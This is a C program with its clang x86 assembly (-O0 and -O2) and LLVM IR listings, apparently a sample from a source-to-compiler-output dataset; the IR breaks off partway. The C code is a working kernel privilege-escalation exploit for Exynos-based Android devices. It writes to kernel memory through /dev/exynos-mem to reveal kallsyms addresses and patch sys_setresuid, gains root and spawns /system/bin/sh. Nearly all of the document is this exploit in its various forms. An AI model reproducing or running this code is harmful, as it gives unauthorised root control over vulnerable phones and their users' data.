#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
typedef int /*<<< orphan*/ FILE;

/* Variables and functions */
unsigned long *MAP_FAILED;
int /*<<< orphan*/ MAP_SHARED;
int /*<<< orphan*/ O_RDWR;
int PROT_READ;
int PROT_WRITE;
int /*<<< orphan*/ _SC_PAGE_SIZE;
int /*<<< orphan*/ close(int);
int /*<<< orphan*/ errno;
int /*<<< orphan*/ execve(char *, char **, char **);
int /*<<< orphan*/ exit(int);
int /*<<< orphan*/ fclose(int /*<<< orphan*/ *);
char *fgets(char *, int, int /*<<< orphan*/ *);
int /*<<< orphan*/ *fopen(char *, char *);
scalar_t__ mmap(int /*<<< orphan*/ *, int, int, int /*<<< orphan*/, int, int);
int /*<<< orphan*/ munmap(unsigned long *, int);
int open(char *, int /*<<< orphan*/);
int /*<<< orphan*/ printf(char *, ...);
int setresuid(int /*<<< orphan*/, int /*<<< orphan*/, int /*<<< orphan*/);
char *strerror(int /*<<< orphan*/);
scalar_t__ strncmp(char *, char *, int);
char *strtok(char *, char *);
unsigned long strtoul(char *, int /*<<< orphan*/ *, int);
int sysconf(int /*<<< orphan*/);
int /*<<< orphan*/ usleep(int);
int main(int argc, char **argv, char **env) {
  int fd, i, m, index, result;
  unsigned long *paddr = NULL;
  unsigned long *tmp = NULL;
  unsigned long *restore_ptr_fmt = NULL;
  unsigned long *restore_ptr_setresuid = NULL;
  unsigned long addr_sym;
  int page_size = sysconf(_SC_PAGE_SIZE);
  int length = page_size * page_size;
  char *cmd[2];
  cmd[0] = "/system/bin/sh";
  cmd[1] = NULL;
  FILE *kallsyms = NULL;
  char line[512];
  char *ptr;
  char *str;
  bool found = false;
  fd = open("/dev/exynos-mem", O_RDWR);
  if (fd == -1) {
    printf("[!] Error opening /dev/exynos-mem\n");
    exit(1);
  }
  paddr = (unsigned long *)mmap(NULL, length, PROT_READ | PROT_WRITE,
                                MAP_SHARED, fd, 0x40000000);
  tmp = paddr;
  if (paddr == MAP_FAILED) {
    printf("[!] Error mmap: %s|%08X\n", strerror(errno), i);
    exit(1);
  }
  for (m = 0; m < length; m += 4) {
    if (*(unsigned long *)tmp == 0x204b7025 &&
        *(unsigned long *)(tmp + 1) == 0x25206325 &&
        *(unsigned long *)(tmp + 2) == 0x00000a73) {
      printf("[*] s_show->seq_printf format string found at: 0x%08X\n",
             0xC0000000 + m);
      restore_ptr_fmt = tmp;
      *(unsigned long *)tmp = 0x20207025;
      found = true;
      break;
    }
    tmp++;
  }
  if (found == false) {
    printf("[!] s_show->seq_printf format string not found\n");
    exit(1);
  }
  found = false;
  kallsyms = fopen("/proc/kallsyms", "r");
  if (kallsyms == NULL) {
    printf("[!] kallsysms error: %s\n", strerror(errno));
    exit(1);
  }
  while ((ptr = fgets(line, 512, kallsyms))) {
    str = strtok(ptr, " ");
    addr_sym = strtoul(str, NULL, 16);
    index = 1;
    while (str) {
      str = strtok(NULL, " ");
      index++;
      if (index == 3) {
        if (strncmp("sys_setresuid\n", str, 14) == 0) {
          printf("[*] sys_setresuid found at 0x%08X\n", addr_sym);
          found = true;
        }
        break;
      }
    }
    if (found) {
      tmp = paddr;
      tmp += (addr_sym - 0xC0000000) >> 2;
      for (m = 0; m < 128; m += 4) {
        if (*(unsigned long *)tmp == 0xe3500000) {
          printf("[*] patching sys_setresuid at 0x%08X\n", addr_sym + m);
          restore_ptr_setresuid = tmp;
          *(unsigned long *)tmp = 0xe3500001;
          break;
        }
        tmp++;
      }
      break;
    }
  }
  fclose(kallsyms);
  usleep(100000);
  result = setresuid(0, 0, 0);
  *(unsigned long *)restore_ptr_fmt = 0x204b7025;
  *(unsigned long *)restore_ptr_setresuid = 0xe3500000;
  munmap(paddr, length);
  close(fd);
  if (result) {
    printf("[!] set user root failed: %s\n", strerror(errno));
    exit(1);
  }
  execve(cmd[0], cmd, env);
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x2a0,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
mov    %rdx,-0x18(%rbp)
movq   $0x0,-0x38(%rbp)
movq   $0x0,-0x40(%rbp)
movq   $0x0,-0x48(%rbp)
movq   $0x0,-0x50(%rbp)
mov    0x2d64(%rip),%rax
mov    (%rax),%edi
call   10f0 <sysconf@plt>
mov    %eax,-0x5c(%rbp)
mov    -0x5c(%rbp),%eax
imul   -0x5c(%rbp),%eax
mov    %eax,-0x60(%rbp)
lea    0xd91(%rip),%rax
mov    %rax,-0x70(%rbp)
movq   $0x0,-0x68(%rbp)
movq   $0x0,-0x78(%rbp)
movl   $0x0,-0x294(%rbp)
mov    0x2d44(%rip),%rax
mov    (%rax),%esi
lea    0xd72(%rip),%rdi
call   10c0 <open@plt>
mov    %eax,-0x1c(%rbp)
cmpl   $0xffffffff,-0x1c(%rbp)
jne    12c7 <main+0xb7>
lea    0xd69(%rip),%rdi
mov    $0x0,%al
call   1070 <printf@plt>
mov    $0x1,%edi
call   1110 <exit@plt>
mov    -0x60(%rbp),%esi
mov    0x2d27(%rip),%rax
mov    (%rax),%edx
mov    0x2ce6(%rip),%rax
or     (%rax),%edx
mov    0x2d05(%rip),%rax
mov    (%rax),%ecx
mov    -0x1c(%rbp),%r8d
xor    %eax,%eax
mov    %eax,%edi
mov    $0x40000000,%r9d
call   1060 <mmap@plt>
mov    %rax,-0x38(%rbp)
mov    -0x38(%rbp),%rax
mov    %rax,-0x40(%rbp)
mov    -0x38(%rbp),%rax
mov    0x2ca1(%rip),%rcx
cmp    (%rcx),%rax
jne    1344 <main+0x134>
mov    0x2ca9(%rip),%rax
mov    (%rax),%edi
call   1120 <strerror@plt>
mov    %rax,%rsi
mov    -0x20(%rbp),%edx
lea    0xd0f(%rip),%rdi
mov    $0x0,%al
call   1070 <printf@plt>
mov    $0x1,%edi
call   1110 <exit@plt>
movl   $0x0,-0x24(%rbp)
mov    -0x24(%rbp),%eax
cmp    -0x60(%rbp),%eax
jge    13df <main+0x1cf>
mov    -0x40(%rbp),%rax
cmpq   $0x204b7025,(%rax)
jne    13c5 <main+0x1b5>
mov    -0x40(%rbp),%rax
cmpq   $0x25206325,0x8(%rax)
25
jne    13c5 <main+0x1b5>
mov    -0x40(%rbp),%rax
cmpq   $0xa73,0x10(%rax)
jne    13c5 <main+0x1b5>
mov    -0x24(%rbp),%esi
add    $0xc0000000,%esi
lea    0xcbf(%rip),%rdi
mov    $0x0,%al
call   1070 <printf@plt>
mov    -0x40(%rbp),%rax
mov    %rax,-0x48(%rbp)
mov    -0x40(%rbp),%rax
movq   $0x20207025,(%rax)
movl   $0x1,-0x294(%rbp)
jmp    13df <main+0x1cf>
mov    -0x40(%rbp),%rax
add    $0x8,%rax
mov    %rax,-0x40(%rbp)
mov    -0x24(%rbp),%eax
add    $0x4,%eax
mov    %eax,-0x24(%rbp)
jmp    134b <main+0x13b>
cmpl   $0x0,-0x294(%rbp)
jne    1404 <main+0x1f4>
lea    0xc9f(%rip),%rdi
mov    $0x0,%al
call   1070 <printf@plt>
mov    $0x1,%edi
call   1110 <exit@plt>
movl   $0x0,-0x294(%rbp)
lea    0xcad(%rip),%rdi
lea    0xcb5(%rip),%rsi
call   10d0 <fopen@plt>
mov    %rax,-0x78(%rbp)
cmpq   $0x0,-0x78(%rbp)
jne    1459 <main+0x249>
mov    0x2b91(%rip),%rax
mov    (%rax),%edi
call   1120 <strerror@plt>
mov    %rax,%rsi
lea    0xc8b(%rip),%rdi
mov    $0x0,%al
call   1070 <printf@plt>
mov    $0x1,%edi
call   1110 <exit@plt>
jmp    145e <main+0x24e>
lea    -0x280(%rbp),%rdi
mov    -0x78(%rbp),%rdx
mov    $0x200,%esi
call   1090 <fgets@plt>
mov    %rax,-0x288(%rbp)
cmp    $0x0,%rax
je     15f0 <main+0x3e0>
mov    -0x288(%rbp),%rdi
lea    0xc5a(%rip),%rsi
call   10e0 <strtok@plt>
mov    %rax,-0x290(%rbp)
mov    -0x290(%rbp),%rdi
xor    %eax,%eax
mov    %eax,%esi
mov    $0x10,%edx
call   1100 <strtoul@plt>
mov    %rax,-0x58(%rbp)
movl   $0x1,-0x28(%rbp)
cmpq   $0x0,-0x290(%rbp)
je     153e <main+0x32e>
xor    %eax,%eax
mov    %eax,%edi
lea    0xc15(%rip),%rsi
call   10e0 <strtok@plt>
mov    %rax,-0x290(%rbp)
mov    -0x28(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x28(%rbp)
cmpl   $0x3,-0x28(%rbp)
jne    1539 <main+0x329>
mov    -0x290(%rbp),%rsi
lea    0xbea(%rip),%rdi
mov    $0xe,%edx
call   1030 <strncmp@plt>
cmp    $0x0,%rax
jne    1534 <main+0x324>
mov    -0x58(%rbp),%rsi
lea    0xbda(%rip),%rdi
mov    $0x0,%al
call   1070 <printf@plt>
movl   $0x1,-0x294(%rbp)
jmp    153e <main+0x32e>
jmp    14be <main+0x2ae>
cmpl   $0x0,-0x294(%rbp)
je     15eb <main+0x3db>
mov    -0x38(%rbp),%rax
mov    %rax,-0x40(%rbp)
mov    -0x58(%rbp),%rax
movabs $0xc0000000,%rcx
sub    %rcx,%rax
shr    $0x2,%rax
shl    $0x3,%rax
add    -0x40(%rbp),%rax
mov    %rax,-0x40(%rbp)
movl   $0x0,-0x24(%rbp)
cmpl   $0x80,-0x24(%rbp)
jge    15e6 <main+0x3d6>
mov    -0x40(%rbp),%rax
mov    $0xe3500000,%ecx
cmp    %rcx,(%rax)
jne    15cc <main+0x3bc>
mov    -0x58(%rbp),%rsi
movslq -0x24(%rbp),%rax
add    %rax,%rsi
lea    0xb74(%rip),%rdi
mov    $0x0,%al
call   1070 <printf@plt>
mov    -0x40(%rbp),%rax
mov    %rax,-0x50(%rbp)
mov    -0x40(%rbp),%rax
mov    $0xe3500001,%ecx
mov    %rcx,(%rax)
jmp    15e6 <main+0x3d6>
mov    -0x40(%rbp),%rax
add    $0x8,%rax
mov    %rax,-0x40(%rbp)
mov    -0x24(%rbp),%eax
add    $0x4,%eax
mov    %eax,-0x24(%rbp)
jmp    157b <main+0x36b>
jmp    15f0 <main+0x3e0>
jmp    145e <main+0x24e>
mov    -0x78(%rbp),%rdi
call   1050 <fclose@plt>
mov    $0x186a0,%edi
call   1130 <usleep@plt>
xor    %edx,%edx
mov    %edx,%edi
mov    %edx,%esi
call   1040 <setresuid@plt>
mov    %eax,-0x2c(%rbp)
mov    -0x48(%rbp),%rax
movq   $0x204b7025,(%rax)
mov    -0x50(%rbp),%rax
mov    $0xe3500000,%ecx
mov    %rcx,(%rax)
mov    -0x38(%rbp),%rdi
mov    -0x60(%rbp),%esi
call   10b0 <munmap@plt>
mov    -0x1c(%rbp),%edi
call   1080 <close@plt>
cmpl   $0x0,-0x2c(%rbp)
je     166f <main+0x45f>
mov    0x297b(%rip),%rax
mov    (%rax),%edi
call   1120 <strerror@plt>
mov    %rax,%rsi
lea    0xae8(%rip),%rdi
mov    $0x0,%al
call   1070 <printf@plt>
mov    $0x1,%edi
call   1110 <exit@plt>
mov    -0x70(%rbp),%rdi
lea    -0x70(%rbp),%rsi
mov    -0x18(%rbp),%rdx
call   10a0 <execve@plt>
xor    %eax,%eax
add    $0x2a0,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbp
push   %r15
push   %r14
push   %r13
push   %r12
push   %rbx
sub    $0x248,%rsp
mov    %rdx,%r12
mov    0x2d7d(%rip),%rax
mov    (%rax),%edi
call   1100 <sysconf@plt>
mov    %eax,%ebp
lea    0xdb5(%rip),%rax
mov    %rax,0x30(%rsp)
movq   $0x0,0x38(%rsp)
mov    0x2d78(%rip),%rax
mov    (%rax),%esi
lea    0xed9(%rip),%rdi
call   10d0 <open@plt>
cmp    $0xffffffff,%eax
je     1834 <main+0x614>
mov    %eax,%r13d
imul   %ebp,%ebp
mov    0x2d74(%rip),%rax
mov    0x2d35(%rip),%rcx
mov    (%rcx),%edx
or     (%rax),%edx
mov    0x2d52(%rip),%rax
mov    (%rax),%ecx
xor    %edi,%edi
mov    %ebp,%esi
mov    %r13d,%r8d
mov    $0x40000000,%r9d
call   1070 <mmap@plt>
mov    0x2cff(%rip),%rcx
cmp    %rax,(%rcx)
je     1840 <main+0x620>
test   %ebp,%ebp
je     1581 <main+0x361>
mov    %rax,%rbx
xor    %r14d,%r14d
jmp    12dd <main+0xbd>
nopw   0x0(%rax,%rax,1)
add    $0x4,%r14
cmp    %ebp,%r14d
jae    1581 <main+0x361>
cmpq   $0x204b7025,(%rbx,%r14,2)
20
jne    12d0 <main+0xb0>
cmpq   $0x25206325,0x8(%rbx,%r14,2)
20 25
jne    12d0 <main+0xb0>
cmpq   $0xa73,0x10(%rbx,%r14,2)
jne    12d0 <main+0xb0>
mov    %rax,0x10(%rsp)
lea    -0x40000000(%r14),%esi
lea    0xd18(%rip),%rdi
xor    %eax,%eax
call   1080 <printf@plt>
movq   $0x20207025,(%rbx,%r14,2)
20
lea    0xd39(%rip),%rdi
lea    0xd41(%rip),%rsi
call   10e0 <fopen@plt>
test   %rax,%rax
je     1869 <main+0x649>
mov    %rax,%r15
lea    0x40(%rsp),%rdi
mov    $0x200,%esi
mov    %rax,%rdx
call   10a0 <fgets@plt>
test   %rax,%rax
mov    %r12,0x28(%rsp)
je     143e <main+0x21e>
mov    %r15,0x20(%rsp)
mov    %r13d,0xc(%rsp)
lea    0xd1a(%rip),%r15
lea    0x40(%rsp),%r13
jmp    139b <main+0x17b>
cs nopw 0x0(%rax,%rax,1)
mov    %r13,%rdi
mov    $0x200,%esi
mov    0x20(%rsp),%rdx
call   10a0 <fgets@plt>
test   %rax,%rax
je     17b5 <main+0x595>
mov    %rax,%rdi
mov    %r15,%rsi
call   10f0 <strtok@plt>
mov    %rax,%r12
mov    %rax,%rdi
xor    %esi,%esi
mov    $0x10,%edx
call   1110 <strtoul@plt>
mov    %rax,0x18(%rsp)
test   %r12,%r12
je     1380 <main+0x160>
xor    %edi,%edi
mov    %r15,%rsi
call   10f0 <strtok@plt>
test   %rax,%rax
je     1380 <main+0x160>
xor    %edi,%edi
mov    %r15,%rsi
call   10f0 <strtok@plt>
lea    0xca9(%rip),%rdi
mov    %rax,%rsi
mov    $0xe,%edx
call   1030 <strncmp@plt>
test   %rax,%rax
jne    1380 <main+0x160>
lea    0xc9f(%rip),%rdi
xor    %r15d,%r15d
mov    0x18(%rsp),%r12
mov    %r12,%rsi
xor    %eax,%eax
call   1080 <printf@plt>
movabs $0xfffffffe80000000,%rax
ff ff ff
lea    (%rax,%r12,2),%rax
and    $0xfffffffffffffff8,%rax
mov    0x10(%rsp),%rdx
add    %rax,%rdx
mov    $0xe3500000,%ecx
cmp    %rcx,(%rbx,%rax,1)
jne    1446 <main+0x226>
mov    %rdx,0x10(%rsp)
mov    0xc(%rsp),%r13d
jmp    1477 <main+0x257>
xor    %r12d,%r12d
jmp    17c2 <main+0x5a2>
lea    0x8(%rdx),%rax
mov    $0x4,%r15d
cmp    %rcx,0x8(%rdx)
mov    0xc(%rsp),%r13d
jne    1462 <main+0x242>
mov    %rax,0x10(%rsp)
jmp    1477 <main+0x257>
lea    0x8(%rax),%rdx
mov    $0x8,%r15d
cmp    %rcx,0x8(%rax)
jne    14a2 <main+0x282>
mov    %rdx,0x10(%rsp)
add    %r15,%r12
lea    0xc3c(%rip),%rdi
mov    %r12,%rsi
xor    %eax,%eax
call   1080 <printf@plt>
mov    $0xe3500000,%eax
add    $0x1,%rax
mov    0x10(%rsp),%r12
mov    %rax,(%r12)
jmp    17bd <main+0x59d>
lea    0x8(%rdx),%rax
mov    $0xc,%r15d
cmp    %rcx,0x8(%rdx)
je     145b <main+0x23b>
lea    0x8(%rax),%rdx
mov    $0x10,%r15d
cmp    %rcx,0x8(%rax)
je     1472 <main+0x252>
lea    0x8(%rdx),%rax
mov    $0x14,%r15d
cmp    %rcx,0x8(%rdx)
je     145b <main+0x23b>
lea    0x8(%rax),%rdx
mov    $0x18,%r15d
cmp    %rcx,0x8(%rax)
je     1472 <main+0x252>
lea    0x8(%rdx),%rax
mov    $0x1c,%r15d
cmp    %rcx,0x8(%rdx)
je     145b <main+0x23b>
lea    0x8(%rax),%rdx
mov    $0x20,%r15d
cmp    %rcx,0x8(%rax)
je     1472 <main+0x252>
lea    0x8(%rdx),%rax
mov    $0x24,%r15d
cmp    %rcx,0x8(%rdx)
je     145b <main+0x23b>
lea    0x8(%rax),%rdx
mov    $0x28,%r15d
cmp    %rcx,0x8(%rax)
je     1472 <main+0x252>
lea    0x8(%rdx),%rax
mov    $0x2c,%r15d
cmp    %rcx,0x8(%rdx)
je     145b <main+0x23b>
lea    0x8(%rax),%rcx
mov    %rcx,0x10(%rsp)
mov    $0x30,%r15d
mov    $0xe3500000,%ecx
cmp    %rcx,0x8(%rax)
je     15b1 <main+0x391>
mov    0x10(%rsp),%rdx
lea    0x8(%rdx),%rax
mov    $0x34,%r15d
mov    $0xe3500000,%ecx
cmp    %rcx,0x8(%rdx)
jne    1597 <main+0x377>
mov    %rax,0x10(%rsp)
jmp    15b1 <main+0x391>
lea    0xb79(%rip),%rdi
call   1040 <puts@plt>
mov    $0x1,%edi
call   1120 <exit@plt>
lea    0x8(%rax),%rcx
mov    %rcx,0x10(%rsp)
mov    $0x38,%r15d
mov    $0xe3500000,%ecx
cmp    %rcx,0x8(%rax)
jne    15c0 <main+0x3a0>
mov    0xc(%rsp),%r13d
mov    0x18(%rsp),%r12
jmp    1477 <main+0x257>
mov    0x10(%rsp),%rdx
lea    0x8(%rdx),%rax
mov    $0x3c,%r15d
mov    $0xe3500000,%ecx
cmp    %rcx,0x8(%rdx)
je     157a <main+0x35a>
lea    0x8(%rax),%rcx
mov    %rcx,0x10(%rsp)
mov    $0x40,%r15d
mov    $0xe3500000,%ecx
cmp    %rcx,0x8(%rax)
je     15b1 <main+0x391>
mov    0x10(%rsp),%rdx
lea    0x8(%rdx),%rax
mov    $0x44,%r15d
mov    $0xe3500000,%ecx
cmp    %rcx,0x8(%rdx)
je     157a <main+0x35a>
lea    0x8(%rax),%rcx
mov    %rcx,0x10(%rsp)
mov    $0x48,%r15d
mov    $0xe3500000,%ecx
cmp    %rcx,0x8(%rax)
je     15b1 <main+0x391>
mov    0x10(%rsp),%rdx
lea    0x8(%rdx),%rax
mov    $0x4c,%r15d
mov    $0xe3500000,%ecx
cmp    %rcx,0x8(%rdx)
je     157a <main+0x35a>
lea    0x8(%rax),%rcx
mov    %rcx,0x10(%rsp)
mov    $0x50,%r15d
mov    $0xe3500000,%ecx
cmp    %rcx,0x8(%rax)
je     15b1 <main+0x391>
mov    0x10(%rsp),%rdx
lea    0x8(%rdx),%rax
mov    $0x54,%r15d
mov    $0xe3500000,%ecx
cmp    %rcx,0x8(%rdx)
je     157a <main+0x35a>
lea    0x8(%rax),%rcx
mov    %rcx,0x10(%rsp)
mov    $0x58,%r15d
mov    $0xe3500000,%ecx
cmp    %rcx,0x8(%rax)
je     15b1 <main+0x391>
mov    0x10(%rsp),%rdx
lea    0x8(%rdx),%rax
mov    $0x5c,%r15d
mov    $0xe3500000,%ecx
cmp    %rcx,0x8(%rdx)
je     157a <main+0x35a>
lea    0x8(%rax),%rcx
mov    %rcx,0x10(%rsp)
mov    $0x60,%r15d
mov    $0xe3500000,%ecx
cmp    %rcx,0x8(%rax)
je     15b1 <main+0x391>
mov    0x10(%rsp),%rdx
lea    0x8(%rdx),%rax
mov    $0x64,%r15d
mov    $0xe3500000,%ecx
cmp    %rcx,0x8(%rdx)
je     157a <main+0x35a>
lea    0x8(%rax),%rcx
mov    %rcx,0x10(%rsp)
mov    $0x68,%r15d
mov    $0xe3500000,%ecx
cmp    %rcx,0x8(%rax)
je     15b1 <main+0x391>
mov    0x10(%rsp),%rdx
lea    0x8(%rdx),%rax
mov    $0x6c,%r15d
mov    $0xe3500000,%ecx
cmp    %rcx,0x8(%rdx)
je     157a <main+0x35a>
lea    0x8(%rax),%rcx
mov    %rcx,0x10(%rsp)
mov    $0x70,%r15d
mov    $0xe3500000,%ecx
cmp    %rcx,0x8(%rax)
je     15b1 <main+0x391>
mov    0x10(%rsp),%rdx
lea    0x8(%rdx),%rax
mov    $0x74,%r15d
mov    $0xe3500000,%ecx
cmp    %rcx,0x8(%rdx)
je     157a <main+0x35a>
lea    0x8(%rax),%rcx
mov    %rcx,0x10(%rsp)
mov    $0x78,%r15d
mov    $0xe3500000,%ecx
cmp    %rcx,0x8(%rax)
je     15b1 <main+0x391>
mov    $0xe3500000,%eax
mov    0x10(%rsp),%rcx
cmp    %rax,0x8(%rcx)
jne    17b5 <main+0x595>
addq   $0x8,0x10(%rsp)
mov    $0x7c,%r15d
jmp    15b1 <main+0x391>
xor    %r12d,%r12d
mov    0xc(%rsp),%r13d
mov    0x20(%rsp),%r15
mov    %r15,%rdi
call   1060 <fclose@plt>
mov    $0x186a0,%edi
call   1140 <usleep@plt>
xor    %edi,%edi
xor    %esi,%esi
xor    %edx,%edx
call   1050 <setresuid@plt>
mov    %eax,%r15d
movq   $0x204b7025,(%rbx,%r14,2)
20
mov    $0xe3500000,%eax
mov    %rax,(%r12)
mov    %rbx,%rdi
mov    %ebp,%esi
call   10c0 <munmap@plt>
mov    %r13d,%edi
call   1090 <close@plt>
test   %r15d,%r15d
jne    1880 <main+0x660>
lea    0x7ef(%rip),%rdi
lea    0x30(%rsp),%rsi
mov    0x28(%rsp),%rdx
call   10b0 <execve@plt>
xor    %eax,%eax
add    $0x248,%rsp
pop    %rbx
pop    %r12
pop    %r13
pop    %r14
pop    %r15
pop    %rbp
ret
lea    0x8f5(%rip),%rdi
jmp    1588 <main+0x368>
mov    0x2781(%rip),%rax
mov    (%rax),%edi
call   1130 <strerror@plt>
lea    0x7ba(%rip),%rdi
mov    %rax,%rsi
xor    %eax,%eax
call   1080 <printf@plt>
mov    $0x1,%edi
call   1120 <exit@plt>
mov    0x2758(%rip),%rax
mov    (%rax),%edi
call   1130 <strerror@plt>
lea    0x7f2(%rip),%rdi
jmp    1895 <main+0x675>
mov    0x2741(%rip),%rax
mov    (%rax),%edi
call   1130 <strerror@plt>
lea    0x84e(%rip),%rdi
mov    %rax,%rsi
xor    %eax,%eax
call   1080 <printf@plt>
mov    $0x1,%edi
call   1120 <exit@plt>

LLVM IR (-O0):
@_SC_PAGE_SIZE = global i32 0
@.str = [15 x i8] c"/system/bin/sh\00"
@.str.1 = [16 x i8] c"/dev/exynos-mem\00"
@O_RDWR = global i32 0
@.str.2 = [35 x i8] c"[!] Error opening /dev/exynos-mem\0A\00"
@PROT_READ = global i32 0
@PROT_WRITE = global i32 0
@MAP_SHARED = global i32 0
@MAP_FAILED = global i64* null
@.str.3 = [25 x i8] c"[!] Error mmap: %s|%08X\0A\00"
@errno = global i32 0
@.str.4 = [55 x i8] c"[*] s_show->seq_printf format string found at: 0x%08X\0A\00"
@.str.5 = [48 x i8] c"[!] s_show->seq_printf format string not found\0A\00"
@.str.6 = [15 x i8] c"/proc/kallsyms\00"
@.str.7 = [2 x i8] c"r\00"
@.str.8 = [25 x i8] c"[!] kallsysms error: %s\0A\00"
@.str.9 = [2 x i8] c" \00"
@.str.10 = [15 x i8] c"sys_setresuid\0A\00"
@.str.11 = [35 x i8] c"[*] sys_setresuid found at 0x%08X\0A\00"
@.str.12 = [38 x i8] c"[*] patching sys_setresuid at 0x%08X\0A\00"
@.str.13 = [30 x i8] c"[!] set user root failed: %s\0A\00"
define i32 @main(i32 %0, i8** %1, i8** %2) {
%4 = alloca i32
%5 = alloca i32
%6 = alloca i8**
%7 = alloca i8**
%8 = alloca i32
%9 = alloca i32
%10 = alloca i32
%11 = alloca i32
%12 = alloca i32
%13 = alloca i64*
%14 = alloca i64*
%15 = alloca i64*
%16 = alloca i64*
%17 = alloca i64
%18 = alloca i32
%19 = alloca i32
%20 = alloca [2 x i8*]
%21 = alloca i32*
%22 = alloca [512 x i8]
%23 = alloca i8*
%24 = alloca i8*
%25 = alloca i32
store i32 0, i32* %4
store i32 %0, i32* %5
store i8** %1, i8*** %6
store i8** %2, i8*** %7
store i64* null, i64** %13
store i64* null, i64** %14
store i64* null, i64** %15
store i64* null, i64** %16
%26 = load i32, i32* @_SC_PAGE_SIZE
%27 = call i32 @sysconf(i32 %26)
store i32 %27, i32* %18
%28 = load i32, i32* %18
%29 = load i32, i32* %18
%30 = mul nsw i32 %28, %29
store i32 %30, i32* %19
%31 = getelementptr inbounds [2 x i8*], [2 x i8*]* %20, i64 0, i64 0
store i8* getelementptr inbounds ([15 x i8], [15 x i8]* @.str, i64 0, i64 0), i8** %31
%32 = getelementptr inbounds [2 x i8*], [2 x i8*]* %20, i64 0, i64 1
store i8* null, i8** %32
store i32* null, i32** %21
store i32 0, i32* %25
%33 = load i32, i32* @O_RDWR
%34 = call i32 @open(i8* getelementptr inbounds ([16 x i8], [16 x i8]* @.str.1, i64 0, i64 0), i32 %33)
store i32 %34, i32* %8
%35 = load i32, i32* %8
%36 = icmp eq i32 %35, -1
br i1 %36, label %37, label %40
37: ; preds = %3
%38 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([35 x i8], [35 x i8]* @.str.2, i64 0, i64 0))
%39 = call i32 @exit(i32 1)
unreachable
40: ; preds = %3
%41 = load i32, i32* %19
%42 = load i32, i32* @PROT_READ
%43 = load i32, i32* @PROT_WRITE
%44 = or i32 %42, %43
%45 = load i32, i32* @MAP_SHARED
%46 = load i32, i32* %8
%47 = call i64 @mmap(i32* null, i32 %41, i32 %44, i32 %45, i32 %46, i32 1073741824)
%48 = inttoptr i64 %47 to i64*
store i64* %48, i64** %13
%49 = load i64*, i64** %13
store i64* %49, i64** %14
%50 = load i64*, i64** %13
%51 = load i64*, i64** @MAP_FAILED
%52 = icmp eq i64* %50, %51
br i1 %52, label %53, label %59
53: ; preds = %40
%54 = load i32, i32* @errno
%55 = call i8* @strerror(i32 %54)
%56 = load i32, i32* %9
%57 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([25 x i8], [25 x i8]* @.str.3, i64 0, i64 0), i8* %55, i32 %56)
%58 = call i32 @exit(i32 1)
unreachable
59: ; preds = %40
store i32 0, i32* %10
br label %60
60: ; preds = %87, %59
%61 = load i32, i32* %10
%62 = load i32, i32* %19
%63 = icmp slt i32 %61, %62
br i1 %63, label %64, label %90
64: ; preds = %60
%65 = load i64*, i64** %14
%66 = load i64, i64* %65
%67 = icmp eq i64 %66, 541814821
br i1 %67, label %68, label %84
68: ; preds = %64
%69 = load i64*, i64** %14
%70 = getelementptr inbounds i64, i64* %69, i64 1
%71 = load i64, i64* %70
%72 = icmp eq i64 %71, 622879525
br i1 %72, label %73, label %84
73: ; preds = %68
%74 = load i64*, i64** %14
%75 = getelementptr inbounds i64, i64* %74, i64 2
%76 = load i64, i64* %75
%77 = icmp eq i64 %76, 2675
br i1 %77, label %78, label %84
78: ; preds = %73
%79 = load i32, i32* %10
%80 = add i32 -1073741824, %79
%81 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([55 x i8], [55 x i8]* @.str.4, i64 0, i64 0), i32 %80)
%82 = load i64*, i64** %14
store i64* %82, i64** %15
%83 = load i64*, i64** %14
store i64 538996773, i64* %83
store i32 1, i32* %25
br label %90
84: ; preds = %73, %68, %64
%85 = load i64*, i64** %14
%86 = getelementptr inbounds i64, i64* %85, i32 1
store i64* %86, i64** %14
br label %87
87: ; preds = %84
%88 = load i32, i32* %10
%89 = add nsw i32 %88, 4
store i32 %89, i32* %10
br label %60
90: ; preds = %78, %60
%91 = load i32, i32* %25
%92 = icmp eq i32 %91, 0
br i1 %92, label %93, label %96
93: ; preds = %90
%94 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([48 x i8], [48 x i8]* @.str.5, i64 0, i64 0))
%95 = call i32 @exit(i32 1)
unreachable
96: ; preds = %90
store i32 0, i32* %25
%97 = call i32* @fopen(i8* getelementptr inbounds ([15 x i8], [15 x i8]* @.str.6, i64 0, i64 0), i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.7, i64 0, i64 0))
store i32* %97, i32** %21
%98 = load i32*, i32** %21
%99 = icmp eq i32* %98, null
br i1 %99, label %100, label %105
100: ; preds = %96
%101 = load i32, i32* @errno
%102 = call i8* @strerror(i32 %101)
%103 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([25 x i8], [25 x i8]* @.str.8, i64 0, i64 0), i8* %102)
%104 = call i32 @exit(i32 1)
unreachable
105: ; preds = %96
br label %106
106: ; preds = %166, %105
%107 = getelementptr inbounds [512 x i8], [512 x i8]* %22, i64 0, i64 0
%108 = load i32*, i32** %21
%109 = call i8* @fgets(i8* %107, i32 512, i32* %108)
store i8* %109, i8** %23
%110 = icmp ne i8* %109, null
br i1 %110, label %111, label %167
111: ; preds = %106
%112 = load i8*, i8** %23
%113 = call i8* @strtok(i8* %112, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.9, i64 0, i64 0))
store i8* %113, i8** %24
%114 = load i8*, i8** %24
%115 = call i64 @strtoul(i8* %114, i32* null, i32 16)
store i64 %115, i64* %17
store i32 1, i32* %11
br label %116
116: ; preds = %133, %111
%117 = load i8*, i8** %24
%118 = icmp ne i8* %117, null
br i1 %118, label %119, label %134
119: ; preds = %116
%120 = call i8* @strtok(i8* null, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.9, i64 0, i64 0))
store i8* %120, i8** %24
%121 = load i32, i32* %11
